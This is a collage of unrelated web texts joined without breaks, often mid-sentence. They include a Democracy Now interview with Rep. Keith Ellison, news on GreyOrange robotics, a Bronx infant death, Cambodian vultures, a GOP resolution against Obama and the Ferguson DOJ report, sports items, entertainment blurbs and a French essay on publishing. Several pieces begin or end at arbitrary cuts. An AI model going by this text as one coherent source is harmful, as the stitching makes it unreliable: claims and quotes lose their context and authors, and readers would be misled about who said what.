REP. KEITH ELLISON: No, by no means is this a done deal. That’s why we need activists to really, really kick it up a notch. I mean, the fact is, is that they’re going to have to have a conference committee in order to get one unified House-Senate bill. And then they’re going to have to repass it. So there will be more—at least one more vote in each house on the bill after it has been conferenced, because, if you think back to your high school civics, you know, you have to have the same bill passed through both houses, and then that is what will go to the president’s desk for signature. So, for activists who want to preserve constitutional democracy, who don’t believe in hereditary aristocracy, who believe that teachers ought to be able to deduct the 250 bucks of school supplies that they bring—they might spend their own money for in a classroom, then you still have time to fight this horrible piece of legislation.
And, you know, Trump just said he doesn’t care whether he had any Democrats vote for it or not. He just said it. And he also said none of us voted for it. We can’t vote for it. It’s awful. It’s really shocking that any Republicans voted for it. Is Corker the only one who wants to stand on his belief that mounting deficits are not good? My question for Republicans is: What happened to your concern about deficits? I thought you didn’t like them. Suddenly they’re OK. I mean, this is outrageous. They’re literally borrowing money to give it to rich people and huge corporations. And it’s just really a travesty. Now is the moment for real activism.
AMY GOODMAN: Congressman Ellison, I wanted to get to a bunch of headlines. Last week, President Trump drew international outrage after he retweeted three violent videos shared by a leader of a fringe right-wing group called Britain First, the videos purporting to show violence carried out by Muslims, videos posted early Tuesday by Britain First deputy leader Jayda Fransen. Two of the videos retweeted by Trump, which were filmed in Egypt and Syria, presented without context, were titled, “Islamist mob pushes teenage boy off roof and beats him to death!” and “Muslim Destroys a Statue of Virgin Mary!” A third video, titled “Muslim migrant beats up Dutch boy on crutches!” shows one teenager kicking and punching another. The tweeted claim was widely reported as false, including by the Dutch Embassy in Washington, D.C., which tweeted, quote, “@realDonaldTrump Facts do matter. The perpetrator of the violent act in this video was born and raised in the Netherlands. He received and completed his sentence under Dutch law.” Then, White House Press Secretary Sarah Huckabee Sanders grilled by reporters over the videos.
PRESS SECRETARY SARAH HUCKABEE SANDERS: Whether it’s a real video, the threat is real, and that is what the president is talking about. That’s what the president is focused on, is dealing with those real threats. And those are real, no matter how you look at it.
REPORTER 1: So it doesn’t matter if the video is fake?
REPORTER 2: Even if it’s a fake video?
PRESS SECRETARY SARAH HUCKABEE SANDERS: Look, I’m not talking about the nature of the video. I think you’re focusing on the wrong thing.
AMY GOODMAN: That’s Trump’s retweets drawing praise from his far-right supporters, including the Ku Klux Klan leader David Duke, who tweeted, “This is why WE LOVE TRUMP and WHY the FAKE NEWS MEDIA HATES TRUMP. He brings to light what the lying, Fake News Media Won’t. The truth is the media covers up horrific numbers of racist hate crimes against White people!” That was David Duke endorsing President Trump. Theresa May, his ally, the prime minister, conservative prime minister of Britain, condemning President Trump for what he’s done. What do you feel has to happen now?
REP. KEITH ELLISON: Well, I feel we have to denounce Donald Trump—again—for promoting racism and hatred and division. But I want folks listening to your broadcast to understand this is not just the ramblings of some old crazy guy. The fact is, is that Donald Trump knows that as he rifles money from the working and middle classes up to the super rich, he has to sow division among working people, because if working people and middle-class people really take a look at his economic policy, they will come together, and they will stop it. So, what he has to do is to promote racism—hate the Muslims, hate the Latinos, hate the blacks, you know, have male—men and women at each other’s throats, you know, make sure we repress the trans people. And he’s trying to tell all of us Americans that we are our own problem, not him. And that’s not true. He’s the problem.
The fact is, is that Americans don’t hate their Muslim neighbors. They don’t hate their Latino neighbors. We have got to build human solidarity in this country, because human solidarity is what’s going to allow us to come together to protect our democracy and to protect our economy. So reject the hate. Turn it away. Don’t buy it. And reach out to a neighbor. He is trying to sow division so that he can distract us from what he’s doing to us.
AMY GOODMAN: Congressman Ellison, President Trump is expected to decided today whether the U.S. will recognize Jerusalem as Israel’s capital city and whether the U.S. will move its embassy from Tel Aviv to Jerusalem, Trump’s planned announcement coming after senior adviser Jared Kushner, his son-in-law, told the Saban Forum in Washington, D.C., Trump hasn’t decided yet. Israel has occupied, of course, East Jerusalem since '67. Palestinian leaders have condemned any plans by the U.S. to recognize Jerusalem as Israel's capital. This coming as documents handed to investigators as part of the plea deal show General Flynn was ordered to speak with Russian Ambassador Sergey Kislyak by a “very senior” member of the presidential transition team, cited by many news outlets as Jared Kushner, Kushner reportedly ordering Flynn to work with Russian officials to delay a U.N. Security Council vote on a resolution condemning illegal Israeli settlements in the occupied West Bank. Start with the first part. Start with this week being declared Jerusalem week by President Trump, and whether he will—what his decision will be.
REP. KEITH ELLISON: Well, you know, I believe in the two-state solution, an Israeli state and Palestinian state side by side in peace and security. And so, issues of where the capitals will be has always been something that is going to be negotiated in the course of a peace agreement between Israelis and Palestinians. This unilateral departure from that is really upsetting, you know, the idea that we’re going to have a negotiated settlement. It is simply something that will delay peace. It will make it much more difficult to obtain peace in the Middle East. And it is, again, another dramatic departure from diplomacy, from negotiated settlements. It’s just Trump, you know, stomping all over what we’ve been trying to do as a nation to foster a negotiated two-state solution for many, many years. So it’s really a horrible tragedy.
On the issue of Michael Flynn, he’s already entered a plea of guilty. You know, I was a criminal defense lawyer for 17 years, and I can tell you that with all the bad things he did, if he only is pleading to this one charge of lying to the FBI, he probably is offering very substantial assistance. I don’t know that. I’m not sharing privy information. But just based on my experience, I think Michael Flynn is going to be telling some things that Donald Trump might rather keep secret. But it’s about time for some sunshine, about time for some things to come to light. So, that’s what I have to say about that.New Delhi: Samay Kohli isn’t certainly a household name in India. He has, sort of, come from nowhere to become the lone Indian to be part of the global list of 2016 Innovators under 35, in the Entrepreneurs sub-category, published by the MIT Technolgy Review.
Kohli, 30, has been honoured as an entrepreneur for his outstanding contribution in the field of computer and electronics hardware, joining the ranks of the Google co-founders Larry Page and Sergey Brin, and the Facebook founder and chief executive officer (CEO) Mark Zuckerberg, who have been on the list previously.
Kohli, an innovator who disrupted the traditional supply chain operations through robotic automation, is co-founder and CEO of GreyOrange, a robotics firm he founded in 2011 along with his friend Akash Gupta, who is the chief technology officer.
GreyOrange designs, manufactures and deploys advanced robotics systems for automation at warehouses, distribution and fulfilment centres (warehouses maintained by online retailers) across the world.
“GreyOrange is driven by the potential of robotics automation and the continuous zeal for innovation," Kohli said in a statement. I am delighted to be a part of the coveted MIT Technology Review list as it acknowledges the role that GreyOrange has played in transforming the supply chains across industries through its robotic solutions. We are actually living our mission of solving real business problems using technology".
Kohli’s products include the GreyOrange Butler and Sorter, both artificial intelligence powered goods-to-person robotic system that automate inventory management in a warehouse. While the Butler stores products and brings shelves to human workers, the Sorters automatically scan and sort packages of any size or shape. The butler and sorter robot solutions enhance the efficiency and accuracy of warehouse operations by minimizing the need for human movement and reduce the level of human error, time and labour. This automation helps companies, especially those in the e-commerce space, significantly improve brand experience for their customers.
GreyOrange claims 92% of India’s warehouse automation market, a sector that Kohli thinks can become humongous. The company has over 40 clients including retailers such as Flipkart, Snapdeal and Myntra.
The company has a 500-plus strong workforce, and has posted a growth rate of 300% year-on-year. One-third of the company’s workforce and revenue are dedicated towards research and development, making it one of leading robotic automation players globally.
According to reports, GreyOrange robots are already sorting about 12-million packets every month.
Kohli’s affair with robotics began a decade ago. He has won several robotic competitions around the world, and conducted robotic workshops globally—including at institutions like Stanford University, Louisiana University, MIT and the Indian Institutes of Technology.
Kohli’s interest in robotics was sparked off while he was in college. He is an alumnus of BITS Pilani, graduating in economics and mechanical engineering. As part of the humanoid programme at the Centre for Robotics & Intelligent Systems at BITS, he created AcYut in 2007, one of the first indigenously created humanoid robots in India.
He has also represented India in robotics competitions across 13 countries; winning the gold medal at the RoboGames (formerly ROBOlympics) in San Francisco in 2009.
Currently, the company is headquartered in Singapore with offices in India, Hong Kong and Japan. It has recently expanded business to the Middle East and China markets and in the next two years plans to set up shop in Europe.Police say they're questioning the mother of a newborn baby girl - her umbilical cord still attached - found dead outside a Bronx apartment building.No arrests have been made.According to the New York City Police Department, the infant was thrown out of a seventh-floor apartment building window with the umbilical cord still attached just after 3:30 p.m. The building is on West 183rd Street near Loring Place North in Morris Heights.The child's mother was located and taken to a hospital. The father was questioned and reportedly told police he was not aware that the the infant's mother was pregnant. He was released.Neighbors looked on Monday night, silent and stunned as word of the chilling story spread."Oh. It just broke my heart. Just broke my heart," a neighbor said."It's just something that's so ridiculous. I can't believe that someone would throw their own baby out the window," said D. Joshua Charleston, another neighbor.As the doors to the Medical Examiner's van shut and drove away with the body of the newborn baby inside, police pieced together the details of the baby's death.A secretary for the building's landlord, P.R.V. Realty Corp., said police were investigating and declined further comment. She said 50 people live in the building.Fonzi Vucinaj's mother found the baby on the courtyard's cement floor."To be honest, I've never seen something so unhuman like that. I don't know what those people were thinking about. I don't know what kind of mother would be to do that," Vucinaj said.Fonzi's mother was in shock seeing all that."She couldn't believe it. She was shocked. How would you react? You would react bad too, everyone would react the same thing," Vucinaj said."I know him for 10 years. He's a very good father. He comes from a good home. His parents are very good parents. It's not like he's in the street. He's mostly home with his son. He babysits his son while his wife works," said Christy Mercado, a neighbor.Many neighbors were heartbroken."It's crazy you know, a turn of events, a bad turn of events. We are all still wondering what's going on. We are all still questioning," a neighbor said.Cambodia remains last vulture bastion in Southeast Asia
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In face of what has become a precipitous slide toward extinction across the Asian continent, the vultures of Cambodia have persisted, giving conservationists hope that these important scavengers can come back from the brink, according to authors from the Wildlife Conservation Society, the Royal Government of Cambodia, and other groups in a new study. The creation of new feeding stations, or vulture "restaurants," and the restoration of populations of depleted wildlife species represent the next important steps in vulture conservation, the study says.
The paper appears in the online edition of Bird Conservation International. Authors include: Tom Clements, Martin Gilbert, and Hugo J. Rainey of the Wildlife Conservation Society; Richard Cuthbert of the Royal Society for the Protection of Birds; Jonathan C. Eames of BirdLife International in Indochina; Pech Bunnat and Song Chansocheat of the Ministry of the Environment, Royal Government of Cambodia; Seng Teak of the World Wide Fund for Nature -- Cambodia Program; and Tan Setha of the Ministry of Agriculture, Forestry, and Fisheries, Royal Government of Cambodia.
"Results from vulture censuses from the past several years have been encouraging, with new nests recorded and even population increases," said WCS researcher Tom Clements, lead author on the new paper. "With continued investment, these critical populations can survive and grow."
In the study, which began in 2004, the authors collected data from several sites in Cambodia, Lao PDR, and Vietnam through a variety of methods, including monitoring of vulture nesting sites and feeding stations; health assessments of vultures; interviews with government officials, hunters, and wildlife traders to collect data on threats; and satellite transmitter vests on four birds to assess ranging patterns.
The findings: while Cambodia's vulture populations remain robust, the use of poison by hunters and fishers for capturing other species are leading to unintended vulture mortalities. According to the data, 74 percent of the 42 recorded mortalities during the study period were attributable to poison. Direct persecution (the shooting of vultures with guns and slingshots) was also significant, accounting for 10 percent of recorded vulture mortality.
The extreme importance of Cambodia's vulture population was created by an ecological disaster across Asia due largely to the veterinary drug diclofenac. Widely used as an anti-inflammatory drug for cattle in South Asia, diclofenac is toxic to vultures, causing death through renal failure and visceral gout to birds that feed on the cattle carcasses. It has led to a global population declines higher than 99 percent in some vulture species.
So far, the drug has not impacted the vulture populations of Cambodia because diclofenac is not used. WCS and other partners have actually recorded increases in some species of vulture in these areas. However, vultures in Cambodia are largely dependent on domestic animals for food, as populations of wild species such as gaur and Eld's deer remain low.
"Fortunately, the Royal Government of Cambodia has instituted measures to ban diclofenac to ensure the survival of these important birds," said Joe Walston, Director of WCS's Asia Program. "The challenge now is to reduce the indirect and direct persecution of vultures, specifically from poisoning and shooting, and longer-term pressures from habitat loss."
The slender-billed vulture, white-rumped vulture, and red-headed vulture are all listed as "Critically Endangered" by the International Union for Conservation of Nature.
The Cambodia Vulture Conservation Project is a collaboration between the General Department of Administration for Nature Conservation and Protection (GDANCP) of the Ministry of Environment (MoE), the Forestry Administration (FA) of the Ministry of Agriculture, Forestry and Fisheries (MAFF), the Wildlife Conservation Society (WCS), BirdLife International in Indochina, World Wide Fund for Nature (WWF), the Angkor Centre for Conservation of Biodiversity (ACCB) and Wildlife Alliance. This work has been made possible through the generous support of the Royal Society for the Protection of Birds (RSPB), the Disney Worldwide Conservation Fund, the Global Environment Facility -- United Nations Development Program, the Darwin Initiative and the Critical Ecosystem Partnership Fund. The Critical Ecosystem Partnership Fund is a joint initiative of l'Agence Française de Développement, Conservation International, the Global Environment Facility, the Government of Japan, the MacArthur Foundation and the World Bank.On Friday Stanford fans read with excitement the news that Corona Centennial 2018 quarterback Tanner McKee was given a scholarship offer to Stanford university. The No. 61 overall recruit on Rivals is expected to take a two-year LDS mission, making him a freshman in 2020. Less than 48 hours after McKee tweeted that news there was another tweet from a quarterback with a Stanford offer: JT Daniels, a 2019 five-star quarterback, announced he was firmly committed to USC. Stanford was in the top four of the elite prospect and seemed to be in a favorable position after offering May 10. What is the effect of the two developments on Stanford's potential quarterback pipeline? That's a question with several parts and unknowns.
Stanford should be a strong favorite for McKee
Stanford may not have offered McKee until the last week of July before his senior season, but the Cardinal coaches and the lanky 6-foot-6 quarterback have a longstanding relationship. McKee counted his trip Friday as the fifth as a recruit to The Farm. Almost a year ago he made his third trip for a junior day and also attended a game last fall. He had this to say in a Cardinal Sports Report article on July 31 of last year: "Just everything Stanford has to offer academically, talking to the coaches, seeing how it prepares you for life - it's really amazing," McKee said. "And also the pro-style offense that they run will really set you up and prepare you to play in the NFL if you have that opportunity. "They're viewing me as (part of) the 2020 class," McKee said. "I talk to them all the time - my dad and Coach Pritchard call all the time. Coach Pete (Alamar) has come down since he's our recruiter. Coach Alamar was saying that he wants to see me play a game and we'll get farther from there. It's a lot fun to have the connections I have with these coaches." "(A Stanford offer) would be huge. I've always loved Stanford. It's been a dream school for me. It's definitely going to be (in the) top schools for me, for sure." The 4.2 GPA student told Cardinal Sports Report July 22 that he communicated often with Pritchard through direct message on Twitter. He described to Rivals.com recruiting analyst Adam Gorney the feeling of getting the offer: “I had a great experience,” McKee said. “I always do there. As soon as I arrived on campus coach Tavita (Pritchard) took me straight to coach (David) Shaw's office and he offered me right away. “I appreciated that because it was easier to enjoy the rest of the day. I spent about an hour watching film with coach Tavita and Coach (Mike) Bloomgren. Learned a lot about how their quarterbacks manage and call their protections. Was really fun. They said they thought I was a perfect fit for |
of the cast raised money on Kickstarter,[4] so they could re-unite and film the one scene they were not able to re-create as teenagers to complete the film, the explosion of the flying wing aircraft, due to the danger of large spinning airplane propellers.
Reception [ edit ]
Raiders of the Lost Ark: The Adaptation was finally finished and premiered in 1989 at the auditorium of the local Coca-Cola plant in Gulfport, Mississippi. Later, the boys went their separate ways, going off to college, and the film was largely forgotten.[5] In 2002, Eli Roth (who had obtained a multi-generation dub of the film while in film school) gave a copy to Ain't It Cool News' Harry Knowles, hoping that Knowles would screen it at that year's Butt-Numb-a-Thon film festival. When a late delivery for the premiere screening of The Lord of the Rings: The Two Towers led to a gap in the schedule, Knowles played the Adaptation to fill in time. It was so well received by the audience that when the film was stopped right before a popular action scene, the audience reportedly booed the Rings premiere, wanting to see the rest of the Raiders adaptation.[2] Additionally, the film has a rare 100% rating on review aggregate Rotten Tomatoes.
With the excitement from this partial screening, Roth tracked down Strompolos, Zala, and Lamb, and an official screening was held at the Alamo Drafthouse in Austin, Texas in 2003.[6] By this time, the film had also reached Steven Spielberg, who wrote a letter to the filmmakers, calling the boys' achievement an inspiration.[7] Some time later, while the filmmakers were in Los Angeles promoting the film, Spielberg invited them to meet with him at his office.[2]
Since the release of Raiders of the Lost Ark: The Adaptation, and despite its amateur status and the poor quality of the surviving copies, critics have generally praised the spirit and dedication of the filmmakers. Lee Sandlin of The Chicago Reader even hinted that the film was "better than the original".[8]
In 2004, film producer Scott Rudin purchased the rights to make a film about the experience of the three boys, with Daniel Clowes writing the screenplay.[9] A separate project, Raiders!: The Story Of The Greatest Fan Film Ever Made, directed by Tim Skousen and Jeremy Coon, was released on June 17, 2016,[10] and is now available on Netflix.
A clip of Raiders of the Lost Ark: The Adaptation was featured in an episode of The Goldbergs, titled "Adam Spielberg."'He’s got a pen and a telephone, it’s true, but we’ve got the Constitution,' Rice said GOP wants to STOP Obama
A group of House Republicans is pushing a resolution to bring legal action against President Barack Obama for overstepping his authority in executive orders.
The STOP (Stop This Overreaching Presidency) resolution, sponsored by Rep. Tom Rice (R-S.C.), targets Obama for allowing a year extension health care policies that were ended because of Obamacare; delaying the employer mandate for one year; deferring the deportation of illegal immigrants brought to the country as children and waiving part of the welfare work requirement.
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“He’s got a pen and a telephone, it’s true, but we’ve got the Constitution,” Rice said on Wednesday. “The prosperity of this country arose from those freedoms and they must be protected.”
( WATCH: Obama’s 2014 State of the Union speech by topic)
Republicans renewed their criticism about the president overstepping his constitutional bounds after Tuesday’s State of the Union address when Obama said that without congressional cooperation, he would move to act on his own.
“The President will work with Congress where he can, but when they are recalcitrant, he’s not going throw up his hands and do nothing,” said White House spokesman Eric Schultz. “Instead, he’s going to use his lawful authority to strengthen the economy and the middle class. That’s what the American people expect, and that’s what they deserve.”
Rice said he’s spoken with the House GOP leadership about the resolution — which would be non-binding if it ever advanced, and wouldn’t need Senate approval — and a hearing is being scheduled in both the Judiciary and Administration Committees.
( Also on POLITICO: SOTU 2014: What he said, what he meant)
The resolution has 74 Republican cosponsors, ranging from the more conservative to moderate members. Rice held a press conference to announce it Wednesday with 12 other Republicans.
Rep. Leonard Lance (R-N.J.) pointed to efforts by the House Energy and Commerce Committee to pass energy laws that have been ignored by the White House. He said Obama work with lawmakers instead of acting alone.
“This is an issue that affects the entire American nation,” Lance said.
Rep. Candice Miller (R-Mich.) said it is important for the House to send a message and involve the judicial branch in any dispute with the administration.
( Also on POLITICO: State of the Union 2014 fact check)
“You cannot rule by fiat,” Miller said. “I signed on to this resolution because I have watched this president overreach.”
Rep. Doug Collins (R-Ga.) said Obama should work with Congress.
“We have a president who once taught the Constitution who has now forgotten the Constitution,” Collins said.
Rep. Steve Scalise (R-La.), chairman of the conservative Republican Study Committee, said overreach by the executive branch is not a Republican or Democratic issue because it sets a precedent for all presidents.
“To suggest that he can write laws without Congress is an insult to the American people,” Scalise said. “Our country rejects the concept of dictatorship.”
Rep. Rodney Davis (R-Ill.) said the president should have watched School House Rock cartoons to learn that the executive branch doesn’t write laws.
“There is nothing in that cartoon that says the president has the authority to go around the Constitution,” Davis said.Quote:
The Hundred Years' War is over and the Renaissance is looming. Conditions are perfect for the princes of the Loire Valley to propel their estates to prosperity and prominence. Through strategic trading and building, clever planning, and careful thought in The Castles of Burgundy: The Card Game, players add settlements and castles, practice trade along the river, exploit silver mines, farm livestock and more.
Quote:
Renaissance Europe is coming together, and people have realized that even the most powerful dynasties can achieve more together, so members of those dynasties are marrying, trading and sharing with one another — but who will end with the biggest piece of the pie?
In Dynasties, players must make many compromises, whether acting on their own or reacting to the behavior of their fellow players. In addition to these tactical and strategic decisions, luck also plays something of a role as not every marriage brings the windfall expected. Perhaps then another marriage will bring more success and influence?The British professor who sparked a bizarre plan to relocate 5.5 million people from Hong Kong to Northern Ireland said he was not surprised that some took it seriously as "the Irish have no sense of humour".
The British professor who sparked a bizarre plan to relocate 5.5 million people from Hong Kong to Northern Ireland said he was not surprised that some took it seriously as "the Irish have no sense of humour".
'The Irish don't get satire' says professor behind 5.5 million Hong Kong 'plantation' in Northern Ireland
Christie Davies, a sociology professor at the University of Reading, said his article written in a Belfast newspaper in 1983 was never meant to be taken seriously.
“At the time, the piece was well received in Hong Kong, but it was recognized as humorous,” he told the New York Times.
“[But] the Irish do not understand satire and have no sense of humor so I guess some of them took it seriously.”
In the piece ‘Ulster to adopt Hong Kong?’, Mr Davies suggested relocating Hong Kong wholesale to Northern Ireland to boost its stagnant economy.
The satirical letter by Professor Christie Davis that spark the 'Hong Kong' exchange Credit: The Belfast News Letter
He wrote in The Belfast News Letter about creating a new city-state that would “save the finest example of the capitalistic system from extinction.”
The article caught the eye of George Fergusson, a junior official in the Northern Ireland Office, who forwarded it to colleague David Snoxell saying: "At this stage we see real advantages in taking the proposal seriously."
Among the benefits, Mr Fergusson suggested, it would help convince the unionist population that the government in Westminster was truly committed to retaining Northern Ireland in the UK.
“If the plantation were undertaken, it would have evident advantages in reassuring Unionist opinion of the open-ended nature of the Union,” he said.
Speaking to the BBC however, Mr Snoxell said he was shocked that people were taking the exchange seriously.
“It was a spoof between colleagues,” he said. “You can see it wasn’t intended seriously.”
“Sadly, it’s impossible to make jokes like this anymore. The diplomatic service has lost its sense of humour,” added the former official with the Republic of Ireland Department of the British Foreign Office.
Mr Snoxell said the exchange was intended to "relieved some of the tension" amongst officials in Northern Ireland, which was on heightened alert following hunger strikes by republican prisoners.
Hong Kong
The letters, released by the British National Archives last week, show the officials joke about resettling 5.5 million Hong Kong people to a new “city-site” built between Coleraine and Derry in Northern Ireland ahead of the, then, British colony's 1997 return to China.
Online EditorsDillinger Escape Plan’s Label Party Smasher to Release Limited Edition Vinyl by No Machine Share:
Yesterday while cruising Facebook, I noticed that Dillinger Escape Plan‘s label Party Smasher Inc. is releasing the debut album Good News by Billy Rymer’s other band No Machine.
https://www.facebook.com/dillingerescapeplan/posts/10153535525566349
Intrigued by that fat-bottomed, rockin’ promo, I tracked down the band’s prior EP to give it a little listen.
What I found was a sleazy, groovy mathcore EP with an emphasis on the riffs. Off-kilter, manic, staccato chords rise up like islands vomited from grinding tectonic plates amid the crashing waves of seething, tidal rhythms. Over the course of these four tracks, No Machine sound like a more rock-oriented DEP engaging in a particularly burly bout of fisticuffs in a seedy biker bar. If you like DEP, Every Time I Die, or The Chariot, I have a feeling you’ll enjoy this.
If you want to get your hands on the limited edition vinyl LP of Good News, it went on sale today right when this post went live. Go to the Party Smasher site to grab it. If you dig the EP, you can download it for free here. Be sure to give No Machine a like on Facebook as well.
(Photo VIA)
Did you dig this? Take a second to support Toilet ov Hell on Patreon!EUGENE -- Any recipe for Oregon success Saturday against Colorado will involve finding ways to contain receiver Nelson Spruce and the CU passing attack that revolves around him.
Spruce set 31 school records as a junior in 2014 en route to becoming a semifinalist for the Biletnikoff Award, given to the country's best receiver, an honor he's a candidate for yet again this fall.
But unlike in years past, as Colorado stumbled to a 10-39 record since joining the Pac-12 Conference in 2011, its offense now offers balance, ranking 13th in the country with 272.0 rushing yards per game. The Buffaloes' 30 plays of 10-plus yards ranks 18th -- Oregon's 40 have it tied for third.
And within that balanced offense there is more balance. Three backs have rushed for at least 200 yards this season, with just 33 yards between the team's leading rusher (Christian Powell's 245 yards) and No. 3 (Michael Adkins). And with 243 yards Phillip Lindsay is between them, for good measure.
As The Oregonian/OregonLive will do each Monday morning, here is a look at key statistical categories and where the Ducks (2-2, 0-1 Pac-12) and Buffaloes (3-1, 0-0) rank nationally among Football Bowl Subdivision teams.
The matchup kicks off at Folsom Field in Boulder at 7 p.m. on Saturday, with a broadcast on ESPN.
BY THE NUMBERS
Offense (Oregon/Colorado)
Third-down conversion rate: 35.3% (99th among FBS teams) / 41.5% (59th)
Fourth-down conversion rate: 57.1% (52nd) / 66.7% (T-27)
Passing yards per game: 240.3 (61st) / 205.5 (87th)
Passing efficiency: 139.06 (60th) / 121.87 (85th)
Rushing yards per game: 285.3 (11th) / 272.0 (13th)
Red zone offense: 85.7% (T-56th) / 66.7% (T-119th)
Tackles for loss allowed per game: 5.5 (55th) / 4.25 (T-25th)
Scoring offense: 42.5 (15th) / 35.8 (T-40th)
Defense (Oregon/Colorado)
Rushing yards allowed per game: 173.5 (77th) / 147.8 (54th)
Passing efficiency defense: 152.6 (112th) / 100.37 (15th)
Third-down conversions allowed: 37.7% (73rd) / 36.2% (66th)
Fourth-down conversions allowed: 87.5% (122nd) / 42.9% (T-53rd)
Tackles for loss per game: 6.3 (52nd) / 4.3 (114th)
Red zone defense: 90.5% (T-107th) / 75.0% (T-26th)
Scoring defense: 40.8 (117th) / 16.5 (23rd)
Misc. (Oregon/Colorado)
Turnover margin: 0.0 (T-63rd) / 1.25 (T-16th)
Penalties per game: 8.5 (T-110th) / 5.5 (T-39th)
Average punt return: 20.8 yards (13th) / 4.45 (104th)
Average kick return: 24.1 yards (41st) / 27.8 (14th)
-- Andrew Greif
andrewjgreif@gmail.com
@andrewgreifPolice officers watch protesters in Ferguson last November. (Charlie Riedel/AP)
Seven months after a white Ferguson police officer shot and killed an unarmed 18-year-old, the Justice Department has issued a searing report into policing and court practices in the Missouri city. Investigators determined that in “nearly every aspect of Ferguson’s law enforcement system,” African Americans are impacted a severely disproportionate amount. The report included racist e-mails sent by police and municipal court supervisors, repeated examples of bias in law enforcement and a system that seemed built upon using arrest warrants to squeeze money out of residents.
Here are some key excerpts from the report:
The city’s practices are shaped by revenue rather than by public safety needs.
The 67% of African Americans in Ferguson account for 93% of arrests made from 2012-2014.
Here is what happened when a 32-year-old black man was seen resting in his car after playing basketball.
A Ferguson woman parked her car illegally once in 2007. It ended up costing her more than $1,000 and 6 days in jail.
The disproportionate number of arrests, tickets and use of force stemmed from “unlawful bias,” rather than black people committing more crime.
A singled missed, late or partial payment of a fine could mean jail time.
Arrest warrants are “almost exclusively” used as threats to push for payments.
And if time is served, no credit for jail time is received and the length of time isn’t even recorded by the court.
This example of a lieutenant’s actions was a huge cause for concern:
Officers used a dog to attack an unarmed 14-year-old black boy and then struck him while he was lying on the ground, all while he was waiting for his friends in an abandoned house. The report concludes that in every dog bite incident reported, the person bitten was black.
After an officer assaulted a man, he demanded the man not pass out because he didn’t want to carry him to his car.
From October 2012 to October 2014, every time a person was arrested because he or she was “resisting arrest,” that person was black.
Swati Sharma contributed to this report.
RELATED:
Attorney General Eric H. Holder Jr. detailed the findings of a civil rights investigation into the Ferguson, Mo., police department, saying there is an "implicit and explicit racial bias" that accounts for the hostile relations between law enforcement and residents. (AP)
Read the DOJ’s report on the police department in Ferguson
The Justice Department’s report on the Michael Brown shooting
DOJ report renews outrage in Ferguson
In Ferguson, three minutes — and two lives forever changed
Even before Michael Brown’s slaying in Ferguson, racial questions hung over policeComing Soon
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Huck uses his special gifts to do good deeds, but when his secret is revealed, he winds up on a life-changing adventure. Based on Mark Millar's comics.
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Faced with various frightening and uncomfortable events, contestants in this game show had better not flinch -- or they'll suffer painful consequences.This text is also available in English
L’industrie de la musique est l’exemple même de la transition ratée entre un marché matériel et virtuel. Un concentré de mauvaises pratiques et de pièges à éviter.
Mais on aurait tort de croire ce cas isolé. L’industrie musicale n’a été qu’une des premières à essuyer les plâtres. Avec l’avènement des imprimantes 3D et des liseuses électroniques, la majorité des industries vont tôt ou tard être confrontées à la virtualisation.
Cette virtualisation s’accompagne toujours d’une remise en question et d’un retour aux fondamentaux. Prenons un exemple très simple avec le monde de l’édition.
Un auteur qui a écrit un livre désire trois choses :
Voir son texte corrigé et amélioré. Atteindre le maximum de lecteurs. Recevoir le maximum d’argent.
La priorité entre ces trois besoins diffère d’un auteur à l’autre mais ce sont les fondamentaux. Ces services sont exactement ce qu’un éditeur traditionnel fournit à un auteur.
Cependant, ce service est fort cher, l’auteur ne touchant que quelques pourcents du prix de vente d’un livre. Il impose également une barrière arbitraire à l’entrée : l’éditeur lira un manuscrit et n’acceptera d’aller plus loin que si il est certain de faire un bénéfice. Les refus successifs essuyés par J. K. Rowling pour Harry Potter montrent bien que ce système a ses limites. Combien d’Harry Potter moisissent aujourd’hui sur un disque dur car les éditeurs contactés ne sont tout simplement pas en phase avec le public ou parce que les auteurs n’ont pas eu l’opiniâtreté de Rowling?
Mais la virtualisation risque, une fois encore, de bouleverser la donne.
L’auteur publiera tout d’abord son histoire, chapitre par chapitre, sur des sites orientés lectures comme Medium.com. Cette publication pourra être publique ou restreinte a un petit groupe de relecteurs. Les lecteurs auront la possibilité de soumettre des corrections ou des suggestions sur une zone précise du texte. En un clic, l’auteur pourra accepter une correction orthographique ou la refuser.
Une fois satisfait, l’auteur n’a plus qu’à fixer le prix de son texte selon deux critères : le prix minimal qu’il exige pour publication de ce texte, par exemple 0,10€ et le pourcentage minimal sur sa participation à un livre, par exemple 50%.
Un éditeur souhaite regrouper une série de textes sous forme d’un livre. Admettons qu’il s’agisse de 10 textes de 10 auteurs différents, chacun ayant la même longueur et le même tarif de 0,10€/50%.
Chaque auteur ayant participé à 10% du livre et souhaitant un pourcentage minimal de 50% sur sa participation, il s’en suit qu’il doit toucher 5% du prix du livre mais avec un minimum de 0,10€ par exemplaire vendu.
Si l’éditeur décide de vendre le livre à 1€, il ne fera donc aucun bénéfice. S’il le vend à 2€, il fera 1€ de bénéfice par exemplaire. Et si il le vend 10€, il fera 5€ de bénéfice mais chaque auteur touchera 0,50€ par exemplaire vendu. Medium.com pourrait également prendre un petit pourcentage sur la part de l’éditeur.
En fixant un prix minimal de 0€, un auteur peut permettre que son texte soit utilisé dans des ebooks gratuits mais sans pour autant renoncer à ses revenus dans le cas d’ebooks payants.
En intégrant des solutions comme EasyBook dans Medium, la publication d’un livre sera entièrement automatisée, y compris la mise-en-page. Un fichier epub sera automatiquement généré et distribué via les canaux de type Google Play ou Amazon ou, dans le cas des ebooks gratuits, via les flux OPDS appropriés.
Il ne reste plus qu’à ajouter les services de type InLibroVeritas pour avoir le maillon manquant, à savoir la disponibilité du livre au format papier.
Contrairement à tout le reste, ce service nécessite un investissement de départ. Un problème qui n’effraie pas les internautes pour qui la solution est évidente : le crowdfunding, avec un intéressement possible aux éventuels bénéfices. Le tout serait bien entendu intégré au service de publication avec perception et redistribution immédiate des bénéfices. Après tout, si le premier chapitre public vous plaît, pourquoi ne pas investir quelques dizaines d’euros pour devenir co-éditeur?
Inutile d’ajouter qu’un auteur pourrait être son propre éditeur et son propre investisseur.
Des livres abondants, disponibles et bon marché, la possibilité pour tout un chacun de publier son livre. Un futur de rêve? Je le pense. Mais, allez savoir pourquoi, je ne suis pas sûr que tous les éditeurs actuels partagent mon enthousiasme.
This text is also available in English
Photo par Abhi Sharma
Je suis @ploum, conférencier et écrivain électronique déconnecté rémunérés en prix libre sur Tipeee, Patreon, Paypal, Liberapay ou en millibitcoins 34pp7LupBF7rkz797ovgBTbqcLevuze7LF. Vos soutiens, même symboliques, font une réelle différence pour moi. Merci!
Ce texte est publié sous la licence CC-By BE.Obama
